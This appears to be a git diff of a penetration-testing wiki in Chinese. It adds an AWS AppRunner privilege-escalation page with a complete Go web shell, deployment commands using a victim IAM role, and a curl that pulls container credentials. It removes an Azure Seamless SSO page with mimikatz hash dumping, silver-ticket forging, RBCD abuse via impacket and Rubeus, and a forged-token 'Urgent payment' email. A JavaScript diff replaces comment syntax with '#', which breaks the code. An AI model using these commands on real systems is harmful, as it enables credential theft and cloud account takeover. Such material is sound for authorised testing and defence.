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- [AWS - VPN Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation.md)
- [AWS - Privilege Escalation](pentesting-cloud/aws-security/aws-privilege-escalation/README.md)
- [AWS - Apigateway Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc.md)
- [AWS - AppRunner Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-apprunner-privesc.md)
- [AWS - Chime Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-chime-privesc.md)
- [AWS - Codebuild Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md)
- [AWS - Codepipeline Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc.md)
@@ -454,7 +455,7 @@
- [Az - Pass the Cookie](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.md)
- [Az - Primary Refresh Token (PRT)](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md)
- [Az - PTA - Pass-through Authentication](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pta-pass-through-authentication.md)
- [Az - Seamless SSO](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/seamless-sso.md)
- [Az - Seamless SSO](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-seamless-sso.md)
- [Az - Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/README.md)
- [Az - Blob Storage Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md)
- [Az - CosmosDB Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-cosmosDB-post-exploitation.md)
@@ -0,0 +1,71 @@
# AWS - AppRunner Privesc
{{#include ../../../banners/hacktricks-training.md}}
## AppRunner
### `iam:PassRole`, `apprunner:CreateService`
拥有这些权限的攻击者可以创建一个附加了 IAM 角色的 AppRunner 服务,从而通过访问该角色的凭证来潜在地提升权限。
攻击者首先创建一个 Dockerfile,作为一个 web shell,用于在 AppRunner 容器上执行任意命令。
```Dockerfile
FROM golang:1.24-bookworm
WORKDIR /app
RUN apt-get update && apt-get install -y ca-certificates curl
RUN cat <<'EOF' > main.go
package main
import (
"fmt"
"net/http"
"os/exec"
)
func main() {
http.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) {
command := exec.Command("sh", "-c", r.URL.Query().Get("cmd"))
output, err := command.CombinedOutput()
if err != nil {
fmt.Fprint(w, err.Error(), output)
return
}
fmt.Fprint(w, string(output))
})
http.ListenAndServe("0.0.0.0:3000", nil)
}
EOF
RUN go mod init test && go build -o main .
EXPOSE 3000
CMD ["./main"]
```
然后,将此镜像推送到 ECR 存储库。通过将镜像推送到攻击者控制的 AWS 账户中的公共存储库,即使受害者的账户没有权限操作 ECR,也可以实现权限提升。
```sh
IMAGE_NAME=public.ecr.aws/<alias>/<namespace>/<repo-name>:latest
docker buildx build --platform linux/amd64 -t $IMAGE_NAME .
aws ecr-public get-login-password | docker login --username AWS --password-stdin public.ecr.aws
docker push $IMAGE_NAME
docker logout public.ecr.aws
```
接下来,攻击者创建一个配置了这个 web shell 镜像和他们想要利用的 IAM 角色的 AppRunner 服务。
```bash
aws apprunner create-service \
--service-name malicious-service \
--source-configuration '{
"ImageRepository": {
"ImageIdentifier": "public.ecr.aws/<alias>/<namespace>/<repo-name>:latest",
"ImageRepositoryType": "ECR_PUBLIC",
"ImageConfiguration": { "Port": "3000" }
}
}' \
--instance-configuration '{"InstanceRoleArn": "arn:aws:iam::123456789012:role/AppRunnerRole"}' \
--query Service.ServiceUrl
```
在等待服务创建完成后,使用 web shell 检索容器凭证并获取附加到 AppRunner 的 IAM 角色的权限。
```sh
curl 'https://<service-url>/?cmd=curl+http%3A%2F%2F169.254.170.2%24AWS_CONTAINER_CREDENTIALS_RELATIVE_URI'
```
**潜在影响:** 直接提升到可以附加到 AppRunner 服务的任何 IAM 角色的权限。
{{#include ../../../banners/hacktricks-training.md}}
@@ -1,186 +0,0 @@
# Az - Seamless SSO
{{#include ../../../banners/hacktricks-training.md}}
## 基本信息
[来自文档:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso) Azure Active Directory Seamless Single Sign-On (Azure AD Seamless SSO) 自动**在用户使用连接到公司网络的公司设备时登录用户**。启用后,**用户无需输入密码即可登录 Azure AD**,通常甚至不需要输入用户名。此功能为用户提供了轻松访问基于云的应用程序的方式,而无需任何额外的本地组件。
<figure><img src="../../../../images/image (275).png" alt=""><figcaption><p><a href="https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso-how-it-works">https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso-how-it-works</a></p></figcaption></figure>
基本上,Azure AD Seamless SSO **在用户** **在本地域加入的 PC 上** 时**登录用户**。
它支持 [**PHS (密码哈希同步)**](phs-password-hash-sync.md) 和 [**PTA (透传身份验证)**](pta-pass-through-authentication.md)。
桌面 SSO 使用 **Kerberos** 进行身份验证。当配置时,Azure AD Connect 在本地 AD 中创建一个 **名为 `AZUREADSSOACC$` 的计算机帐户**`AZUREADSSOACC$` 帐户的密码在配置期间**以明文形式发送到 Entra ID**。
**Kerberos 票证**使用密码的 **NTHash (MD4)** 进行**加密**,Entra ID 使用发送的密码解密票证。
**Entra ID** 暴露一个 **端点** (https://autologon.microsoftazuread-sso.com),接受 Kerberos **票证**。域加入机器的浏览器将票证转发到此端点以实现 SSO。
### 枚举
```bash
# Check if the SSO is enabled in the tenant
Import-Module AADInternals
Invoke-AADIntReconAsOutsider -Domain <domain name> | Format-Table
# Check if the AZUREADSSOACC$ account exists in the domain
Install-WindowsFeature RSAT-AD-PowerShell
Import-Module ActiveDirectory
Get-ADComputer -Filter "SamAccountName -like 'AZUREADSSOACC$'"
# Check it using raw LDAP queries without needing an external module
$searcher = New-Object System.DirectoryServices.DirectorySearcher
$searcher.Filter = "(samAccountName=AZUREADSSOACC`$)"
$searcher.FindOne()
```
## Pivoting: On-prem -> cloud
> [!WARNING]
> 关于此攻击,主要需要知道的是,仅仅拥有与 Entra ID 同步的用户的 TGT 或特定 TGS 就足以访问云资源。\
> 这是因为它是一个允许用户登录云的票证。
为了获得该 TGS 票证,攻击者需要拥有以下之一:
- **被攻陷用户的 TGS:** 如果您在内存中攻陷了用户的会话,并获得了 `HTTP/autologon.microsoftazuread-sso.com` 的票证,您可以使用它访问云资源。
- **被攻陷用户的 TGT:** 即使您没有,但用户被攻陷,您也可以使用许多工具中实现的假 TGT 委托技巧获取一个,例如 [Kekeo](https://x.com/gentilkiwi/status/998219775485661184) 和 [Rubeus](https://posts.specterops.io/rubeus-now-with-more-kekeo-6f57d91079b9)。
- **被攻陷用户的哈希或密码:** SeamlessPass 将使用此信息与域控制器通信以生成 TGT,然后是 TGS。
- **金票:** 如果您拥有 KRBTGT 密钥,您可以为被攻击用户创建所需的 TGT。
- **AZUREADSSOACC$ 账户哈希或密码:** 使用此信息和用户的安全标识符 (SID) 进行攻击,可以创建服务票证并在云中进行身份验证(如前面的方法所示)。
### [**SeamlessPass**](https://github.com/Malcrove/SeamlessPass)
正如 [这篇博客文章](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/) 中所解释的,拥有任何先前的要求,使用工具 **SeamlessPass** 以被攻陷用户的身份或以任何用户的身份(如果您拥有 **`AZUREADSSOACC$`** 账户哈希或密码)访问云资源非常简单。
最后,使用 TGT 可以使用工具 [**SeamlessPass**](https://github.com/Malcrove/SeamlessPass)
```bash
# Using the TGT to access the cloud
seamlesspass -tenant corp.com -domain corp.local -dc dc.corp.local -tgt <base64_encoded_TGT>
# Using the TGS to access the cloud
seamlesspass -tenant corp.com -tgs user_tgs.ccache
# Using the victims account hash or password to access the cloud
seamlesspass -tenant corp.com -domain corp.local -dc dc.corp.local -username user -ntlm DEADBEEFDEADBEEFDEADBEEFDEADBEEF
seamlesspass -tenant corp.com -domain corp.local -dc 10.0.1.2 -username user -password password
# Using the AZUREADSSOACC$ account hash (ntlm or aes) to access the cloud with a specific user SID and domain SID
seamlesspass -tenant corp.com -adssoacc-ntlm DEADBEEFDEADBEEFDEADBEEFDEADBEEF -user-sid S-1-5-21-1234567890-1234567890-1234567890-1234
seamlesspass -tenant corp.com -adssoacc-aes DEADBEEFDEADBEEFDEADBEEFDEADBEEF -domain-sid S-1-5-21-1234567890-1234567890-1234567890 -user-rid 1234
wmic useraccount get name,sid # Get the user SIDs
```
进一步的信息可以在[**这篇博客文章中找到**](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/)。
### 获取 AZUREADSSOACC$ 账户的哈希值
用户 **`AZUREADSSOACC$`**密码** 永远不会改变**。因此,域管理员可以破解该 **账户的哈希值**,然后使用它 **创建银票** 以连接到 Azure,使用 **任何同步的本地用户**
```bash
# Dump hash using mimikatz
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\azureadssoacc$ /domain:domain.local /dc:dc.domain.local"'
mimikatz.exe "lsadump::dcsync /user:AZUREADSSOACC$" exit
# Dump hash using https://github.com/MichaelGrafnetter/DSInternals
Get-ADReplAccount -SamAccountName 'AZUREADSSOACC$' -Domain contoso -Server lon-dc1.contoso.local
# Dump using ntdsutil and DSInternals
## Dump NTDS.dit
ntdsutil "ac i ntds" "ifm” "create full C:\temp" q q
## Extract password
Install-Module DSInternals
Import-Module DSInternals
$key = Get-BootKey -SystemHivePath 'C:\temp\registry\SYSTEM'
(Get-ADDBAccount -SamAccountName 'AZUREADSSOACC$' -DBPath 'C:\temp\Active Directory\ntds.dit' -BootKey $key).NTHash | Format-Hexos
```
> [!NOTE]
> 使用当前的信息,您可以像之前所述的那样使用工具 **SeamlessPass** 来获取域中任何用户的 azure 和 entraid 令牌。
> 您还可以使用之前的技术(以及其他技术)来获取您想要冒充的受害者的密码哈希,而不是 `AZUREADSSOACC$` 账户。
#### 创建银票
有了哈希,您现在可以 **生成银票**
```bash
# Get users and SIDs
Get-AzureADUser | Select UserPrincipalName,OnPremisesSecurityIdentifier
# Create a silver ticket to connect to Azure with mimikatz
Invoke-Mimikatz -Command '"kerberos::golden /user:onpremadmin /sid:S-1-5-21-123456789-1234567890-123456789 /id:1105 /domain:domain.local /rc4:<azureadssoacc hash> /target:autologon.microsoftazuread-sso.com /service:HTTP /ptt"'
mimikatz.exe "kerberos::golden /user:elrond /sid:S-1-5-21-2121516926-2695913149-3163778339 /id:1234 /domain:contoso.local /rc4:12349e088b2c13d93833d0ce947676dd /target:autologon.microsoftazuread-sso.com /service:HTTP /ptt" exit
# Create silver ticket with AADInternal to access Exchange Online
$kerberos=New-AADIntKerberosTicket -SidString "S-1-5-21-854168551-3279074086-2022502410-1104" -Hash "097AB3CBED7B9DD6FE6C992024BC38F4"
$at=Get-AADIntAccessTokenForEXO -KerberosTicket $kerberos -Domain company.com
## Send email
Send-AADIntOutlookMessage -AccessToken $at -Recipient "someone@company.com" -Subject "Urgent payment" -Message "<h1>Urgent!</h1><br>The following bill should be paid asap."
```
### 使用 Silver Tickets 与 Firefox
要利用银票,应执行以下步骤:
1. **启动浏览器:** 应启动 Mozilla Firefox。
2. **配置浏览器:**
- 导航到 **`about:config`**。
- 将 [network.negotiate-auth.trusted-uris](https://github.com/mozilla/policy-templates/blob/master/README.md#authentication) 的首选项设置为指定的 [](https://docs.microsoft.com/en-us/azure/active-directory/connect/active-directory-aadconnect-sso#ensuring-clients-sign-in-automatically)
- `https://aadg.windows.net.nsatc.net,https://autologon.microsoftazuread-sso.com`
- 导航到 Firefox `设置` > 搜索 `允许 Windows 单点登录用于 Microsoft、工作和学校帐户` 并启用它。
3. **访问 Web 应用程序:**
- 访问与组织的 AAD 域集成的 Web 应用程序。一个常见的例子是 [login.microsoftonline.com](https://login.microsoftonline.com/)。
4. **身份验证过程:**
- 在登录屏幕上,应输入用户名,密码字段留空。
- 要继续,请按 TAB 或 ENTER。
> [!WARNING]
> 如果用户启用了 MFA,这 **不会绕过 MFA**。
### 本地 -> 云通过基于资源的受限委派 <a href="#creating-kerberos-tickets-for-cloud-only-users" id="creating-kerberos-tickets-for-cloud-only-users"></a>
执行攻击所需:
- `WriteDACL` / `GenericWrite` 权限在 `AZUREADSSOACC$`
- 一个您控制的计算机帐户(哈希和密码) - 您可以创建一个
1. 第 1 步 – 添加您自己的计算机帐户
- 创建 `ATTACKBOX$` 并打印其 SID/NTLM 哈希。任何域用户都可以在 MachineAccountQuota>0 时执行此操作。
```bash
# Impacket
python3 addcomputer.py CONTOSO/bob:'P@ssw0rd!' -dc-ip 10.0.0.10 \
-computer ATTACKBOX$ -password S3cureP@ss
```
2. 第2步 `AZUREADSSOACC$` 上授予 RBCD - 将您的机器 SID 写入 `msDS-AllowedToActOnBehalfOfOtherIdentity`
```bash
python3 rbcd.py CONTOSO/bob:'P@ssw0rd!'@10.0.0.10 \
ATTACKBOX$ AZUREADSSOACC$
# Or, from Windows:
$SID = (Get-ADComputer ATTACKBOX$).SID
Set-ADComputer AZUREADSSOACC$ `
-PrincipalsAllowedToDelegateToAccount $SID
```
3. 第3步 – 为任何用户(例如:alice)伪造TGS
```bash
# Using your machine's password or NTLM hash
python3 getST.py -dc-ip 192.168.1.10 \
-spn HTTP/autologon.microsoftazuread-sso.com \
-impersonate alice \
DOMAIN/ATTACKBOX$ -hashes :9b3c0d06d0b9a6ef9ed0e72fb2b64821
# Produces alice.autologon.ccache
#Or, from Windows:
Rubeus s4u /user:ATTACKBOX$ /rc4:9b3c0d06d0b9a6ef9ed0e72fb2b64821 `
/impersonateuser:alice `
/msdsspn:"HTTP/autologon.microsoftazuread-sso.com" /dc:192.168.1.10 /ptt
```
您现在可以使用 **TGS 以被冒充用户的身份访问 Azure 资源。**
### ~~为仅云用户创建 Kerberos 票证~~ <a href="#creating-kerberos-tickets-for-cloud-only-users" id="creating-kerberos-tickets-for-cloud-only-users"></a>
如果 Active Directory 管理员可以访问 Azure AD Connect,他们可以 **为任何云用户设置 SID**。这样,Kerberos **票证** 也可以 **为仅云用户创建**。唯一的要求是 SID 必须是一个合适的 [SID](<https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc778824(v=ws.10)>).
> [!CAUTION]
> 仅云管理员用户的 SID 现在 **被 Microsoft 阻止**。\
> 有关信息,请查看 [https://aadinternals.com/post/on-prem_admin/](https://aadinternals.com/post/on-prem_admin/)
## 参考文献
- [https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-sso](https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-sso)
- [https://www.dsinternals.com/en/impersonating-office-365-users-mimikatz/](https://www.dsinternals.com/en/impersonating-office-365-users-mimikatz/)
- [https://aadinternals.com/post/on-prem_admin/](https://aadinternals.com/post/on-prem_admin/)
- [TR19: I'm in your cloud, reading everyone's emails - hacking Azure AD via Active Directory](https://www.youtube.com/watch?v=JEIR5oGCwdg)
{{#include ../../../banners/hacktricks-training.md}}
+12 -12
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@@ -1,6 +1,6 @@
/**
* HackTricks Training Discounts
*/
(() => {
@@ -9,13 +9,13 @@
const TXT = 'Click here for HT Summer Discounts, Last Days!';
const URL = 'https://training.hacktricks.xyz';
/* Stop if user already dismissed */
# Stop if user already dismissed
if (localStorage.getItem(KEY) === 'true') return;
/* Quick helper */
# Quick helper
const $ = (tag, css = '') => Object.assign(document.createElement(tag), { style: css });
/* --- Overlay (blur + dim) --- */
# --- Overlay (blur + dim) ---
const overlay = $('div', `
position: fixed; inset: 0;
background: rgba(0,0,0,.4);
@@ -24,7 +24,7 @@
z-index: 10000;
`);
/* --- Modal --- */
# --- Modal ---
const modal = $('div', `
max-width: 90vw; width: 480px;
background: #fff; border-radius: 12px; overflow: hidden;
@@ -33,10 +33,10 @@
display: flex; flex-direction: column; align-items: stretch;
`);
/* --- Title bar (link + close) --- */
# --- Title bar (link + close) ---
const titleBar = $('div', `
position: relative;
padding: 1rem 2.5rem 1rem 1rem; /* room for the close button */
padding: 1rem 2.5rem 1rem 1rem; # room for the close button
text-align: center;
background: #222; color: #fff;
font-size: 1.3rem; font-weight: 700;
@@ -53,7 +53,7 @@
link.textContent = TXT;
titleBar.appendChild(link);
/* Close "X" (no persistence) */
# Close "X" (no persistence)
const closeBtn = $('button', `
position: absolute; top: .25rem; right: .5rem;
background: transparent; border: none;
@@ -65,11 +65,11 @@
closeBtn.onclick = () => overlay.remove();
titleBar.appendChild(closeBtn);
/* --- Image --- */
# --- Image ---
const img = $('img');
img.src = IMG; img.alt = TXT; img.style.width = '100%';
/* --- Checkbox row --- */
# --- Checkbox row ---
const label = $('label', `
display: flex; align-items: center; justify-content: center; gap: .6rem;
padding: 1rem; font-size: 1rem; color: #222; cursor: pointer;
@@ -83,7 +83,7 @@
};
label.append(cb, document.createTextNode("Don't show again"));
/* --- Assemble & inject --- */
# --- Assemble & inject ---
modal.append(titleBar, img, label);
overlay.appendChild(modal);
@@ -94,7 +94,7 @@
}
})();
*/